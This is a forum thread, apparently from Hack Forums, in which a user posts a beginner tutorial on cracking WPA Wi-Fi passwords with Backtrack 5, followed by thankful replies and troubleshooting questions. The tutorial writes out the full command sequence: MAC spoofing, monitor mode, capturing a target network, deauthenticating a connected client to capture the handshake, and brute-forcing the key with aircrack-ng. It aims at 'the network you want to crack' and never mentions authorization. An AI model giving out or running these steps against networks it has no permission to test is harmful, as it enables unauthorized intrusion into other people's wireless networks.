

Forum:[Hack Forums](#)

Thread: [{TuT}\[PICS\]Cracking WPA Encrypted WIFI Noob Friendly \[PICS\]{TuT}](#)

Gt403cyl - September 20, 2013, 4:01 pm

Hey guys, Tutorial time again!

This time I will be showing you how you can crack WPA Encrypted Wifi Passkeys using Backtrack 5r3.

You will need a few things to accomplish this,

I suggest doing this through a Virtual Machine, my personal preference.

Download VirtualBox: <https://www.virtualbox.org/wiki/Downloads>

You will obviously need Backtrack 5, choose the options best suited for your machine.

Download Backtrack 5: <http://www.backtrack-linux.org/downloads/>

Since Virtual Machines don't use the same wifi adaptors, you will need a USB wifi Adaptor. Any will do.

Lastly you will need a wordlist already saved in your /root directory on Backtrack5 (I will use "wordlist.lst")

So lets begin.

If you haven't already, go ahead and get Backtrack 5 installed on your Virtual Machine.

I have posted a great tutorial on how to do this here:

<https://hackforums.net/showthread.php?tid=3730054>

I'm going to start this tutorial from the interface home page.

Anything to be entered in terminal I will use [***], if something is (***) this means use the info from the network you trying to crack.

There is no need to add any brackets to any of these commands.

My adaptor is shown as "wlan0" so if your differs from this just replace "wlan0" with yours.

First:

Lets make sure our wifi adaptor is working by:

Click on Devices>USB Devices>check to see that your USB wifi device is there.

Connect if it already isn't.

Spoiler [\(Click to View\)](#)

Second:

Now to confirm your wifi is recognised, open a terminal window and type the following command:

[ifconfig]

Spoiler [\(Click to View\)](#)

Third:

We need to spoof our mac address, you can pretty much change it to what ever you want as long

as it follows the same parameters.

So to do this we need to shut down our wifi adaptor in this case its known as "wlan0"
[ifconfig wlan0 down]

Next spoof the mac address, for this tutorial I'm going to use 00:11:22:33:44:55 as the fake mac address

[macchanger -m 00:11:22:33:44:55 wlan0]

Spoiler ([Click to View](#))

Now we can bring our wifi back up with
[ifconfig wlan0 up]

Confirm our wifi is back up and running

[iwconfig wlan0]

Spoiler ([Click to View](#))

Fourth:

Here we will enable the wifi monitor mode (green block)

[airmon-ng start wlan0]

Spoiler ([Click to View](#))

Confirm monitor mode is enabled (blue block)

[iwconfig mon0]

Spoiler ([Click to View](#))

Fifth:

Now lets view the wireless networks that are within range of our adaptor

[airodump-ng mon0]

Spoiler ([Click to View](#))

Once you see the network you want to crack press {ctrl+c} to stop the search

***I suggest you highlight and copy the line of the network you want to crack and past it into a text editor for use later on.

Sixth:

Here we are going to see if and how many clients are connected to this network

Open a new terminal

[airodump-ng --bssid (bssidofwifi) -c (channel) -w hackwpa mon0]

Spoiler ([Click to View](#))

Spoiler ([Click to View](#))

Now we will de-authenticate a user on this wifi network to aquire a handshake

Open a new terminal

[aireplay-ng -0 1 -a (bssidofwifi) -c (stationmac) mon0]

Spoiler ([Click to View](#))

Check previous terminal for a handshake (top right)

Spoiler ([Click to View](#))

Seventh:

Here is where we Bruteforce the network

Open new terminal

[aircrack-ng -w wordlist.lst -b (bssidofwifi) hackwpa*.cap]

Spoiler ([Click to View](#))

Depending on how long your wordlist is, this could take some time.

If this was done correctly and your wordlist was sufficient, you should now have your wifi key found!

Spoiler ([Click to View](#))

Thanks for checking out this tutorial, I will keep making tutorials as I get time and new ideas so please check back frequently!

Comedic - September 20, 2013, 5:41 pm

Nice thread mate, great job explaining everything!

:)

Gt403cyl - September 20, 2013, 8:48 pm

Thanks, I hope it helps someone or at least answers some questions.

Vaxorr - September 21, 2013, 1:33 am

are you sure that it works in virtual box as i heard that u should boot it in a live CD to work properly ?

Bur any way thanks for you contribution and keep it up

My Best Regards,

Null

kivik - September 21, 2013, 1:58 am

This beautiful and very very detailed tutorial

Gt403cyl - September 21, 2013, 7:15 am

(Sep 21, 2013 01:33 AM)nullserver Wrote: ([CITE](#)) are you sure that it works in virtual box as i heard that u should boot it in a live CD to work properly ?

Bur any way thanks for you contribution and keep it up

My Best Regards,

Null

I did that tutorial in VirtualBox with Backtrack 5 r3, so yes I'm sure it works the proof is in the pictures.

I have seen some variations on this method especially like using reaver and slightly different deauthentication commands but this as written works.

herrdeutschland - September 21, 2013, 9:18 am

noob friendly and backtrack 5 don t get a long these two words heheh thanks for the tutorial it was informative

TheDarkComet - September 22, 2013, 4:50 am

Great Tutorial mate, very nice actually.

This will help me out.

Gt403cyl - October 25, 2013, 3:27 pm

For those looking for something similar for Kali-linux, this method does work the same.

I do realize the Reaver method doesn't require a password list, but in my experience access points that use a TKIP cipher don't work out with Reaver.

Leaving this as a solid backup method.

I will do a full tutorial on Reaver shortly.

DaBosS92 - October 25, 2013, 5:17 pm

thanks a lot guys really helpfull and usefull post thanks again keep going

blackknight_ - October 25, 2013, 5:21 pm

Very nice tut will come in handy some day

makxzx - October 25, 2013, 10:22 pm

GREAT INFO!!! IM GOING TO TRY THIS FOR SURE!!!

0.0.0.1 - October 25, 2013, 11:53 pm

Very nice explanation step by step

Definitely it'll help to beginners .

Thank you .

Harjeet Baidwan - October 26, 2013, 12:19 am

NICE AND SIMPLY EXPLAINED TUTORIAL..

GREAT WORK....???

FREAX1906 - January 10, 2014, 1:55 am

sorry for my newbie question,, if virtual box and usb wifi are not in my choice rather thn using backtrack in my system directly what would be d result... tnx to ur post it help me undrstnd some fct..

Gt403cyl - January 10, 2014, 2:07 am

(Jan 10, 2014 02:55 AM)FREAX1906 Wrote: [\[CITE\]](#) sorry for my newbie question,, if virtual box and usb wifi are not in my choice rather thn using backtrack in my system directly what would be d result... tnx to ur post it help me undrstnd some fct..

If I understand your question, you are asking how you would hack a wifi connection without USB and Backtrack?

Without going too far off topic, I believe it depends on if your wifi adapter is capable of injection and or other modes.

Your question is probably better suited here:

[Wifi 5G WPA WEP Bluetooth Wireless Hacking](#)

After reading your question again, I think you might be asking, "what if I'm using backtrack as my main operating system not as a virtual machine?" than its pretty much the same just ignore the part about making sure your USB is recognized and active.

frecolax1 - February 8, 2014, 4:00 pm

Hello TS

I want your help

I have installed BT in VB with your TUT it's Ok

Now I am trying to make my wireless adapter to work but I can't do it

I have a Netgear USB adapter it is in Devices list and it choosen but when I am typing ifconfig thare is no wlan0 at all

Please help me I am stuck

what shell I do to make it works???

Gt403cyl - February 8, 2014, 4:40 pm

(Feb 8, 2014 05:00 PM)frecolax1 Wrote: [\[CITE\]](#) Hello TS

I want your help
I have installed BT in VB with your TUT it's Ok
Now I am trying to make my wireless adapter to work but I can't do it
I have a Netgear USB adapter it is in Devices list and it choosen but when I am typing ifconfig thare
is no wlan0 at all
Please help me I am stuck
what shell I do to make it works???
Have you installed the guest additions?

medulis13 - February 9, 2014, 1:45 am

but if password not in list then you can't crack it. I think reaver method is better.:p sorry for my english.

Tekkeli - February 9, 2014, 5:11 am

Thnx for this tutorial!

I real apriciat thiz

Gt403cyl - February 9, 2014, 5:37 am

(Feb 9, 2014 02:45 AM)medulis13 Wrote: [\[CITE\]](#) but if password not in list then you can't crack it. I think reaver method is better.:p sorry for my english.

I agree but reaver doesn't work with TKIP encryption, so this is an alternative.

chieffinj3ct0r - February 9, 2014, 5:55 am

IT isn't really hard to crack wifi but it's BORRING

frecolax1 - February 10, 2014, 3:34 pm

(Feb 8, 2014 05:40 PM)Gt403cyl Wrote: [\[CITE\]](#) Have you installed the guest additions?

I did the last step in your first tut but now When I am opening the cd icon there is so many additions that I am going confused))

please help wich i shell install

jas32096 - February 14, 2014, 1:22 am

Wouldn't it be easier to just use airoscript-ng?